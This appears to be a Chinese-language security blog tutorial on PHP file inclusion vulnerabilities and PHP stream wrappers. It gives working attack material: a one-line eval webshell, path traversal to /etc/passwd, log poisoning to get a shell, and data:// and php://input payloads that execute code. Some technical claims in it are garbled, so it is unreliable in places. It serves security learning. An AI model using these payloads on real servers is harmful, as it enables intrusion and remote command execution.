php文件包含漏洞分析

文件包含漏洞定义

什么是文件包含?

文件包含漏洞常出现在PHP语言中。

 PHP为了提高代码复用性,提供了文件包含函数 include() 、 require()、include_once()和require_once()函数,被包含的文件内容会被当做代码来执行。

 就像造轮子一样:把重复使用的一段代码,单独写到一个文件里,再用文件包含函数来包含这个文件。

 这样就造成一个特征,就是任意后缀名的文件被包含过来就被视为php代码。利用这一特点可以对php系统进行攻击。

php文件包含会用到php伪协议

什么是伪协议?

php伪协议是php支持的协议和封装协议,类似于 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。是php内置的协议可以直接调用。

常见的伪协议
• file:// — 访问本地文件系统
• http:// — 访问 HTTP(s) 网址
• ftp:// — 访问 FTP(s) URLs
• php:// — 访问各个输入/输出流(I/O streams)
• zlib:// — 压缩流
• data:// — 数据(RFC 2397)
• glob:// — 查找匹配的文件路径模式
• phar:// — PHP 归档
• ssh2:// — 安全外壳协议 2
• rar:// — RAR
• ogg:// — 音频流
• expect:// — 处理交互式的流

实战分析

php文件包含主要出现位置:

include(),require(),include_once(),require_once()

前两者是本地文件包含,后两者是远程文件包含。

利用分析

简单探测

可以先读取…/…/…/…/…/…/…/…/…/…/etc/passwd之类的文件,探测是否能读取到文件
在这里插入图片描述

攻击利用一

如上传1.png 文件其中图片马,直接访问不解析。
利用php://filter协议
如/upload//include.php?file=upload/1.png 解析其中问php代码


简单的一句话木马,post请求,请求参数为cmd

<?php @eval($_REQUEST[cmd]); ?>

攻击利用方式二

其他利用手法,构造登录ssh名使用php代码,记录到错误日志,
如/include.php?file=/var/log/secure
包含错误日志来getshell

参见的日志地址:
nginx
/var/log/nginx/access.log 正常日志
/var/log/nginx/error.log 错误日志

apache
/var/log/apache/access.log
/var/log/apache/error.log

/var/log/httpd/access.log
/var/log/httpd/error.log

在这里插入图片描述

攻击利用方式三
其他伪协议命令执行

data协议

?file=data://text/plain;<?php phpinfo(); ?>

#使用data协议配合base64会更好使用
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

在这里插入图片描述

expect协议

这个较为少见,但是一旦配置不当可以直接命令执行。
?file=php://input

请求包body中填入参数

<?php system('more flag.php') ?>

在这里插入图片描述

说明

 本文章仅作技术交流使用,请勿攻击他人。您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行测试。

参考文章

https://www.php.net/manual/zh/wrappers.php
http://www.xbhp.cn/news/85575.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值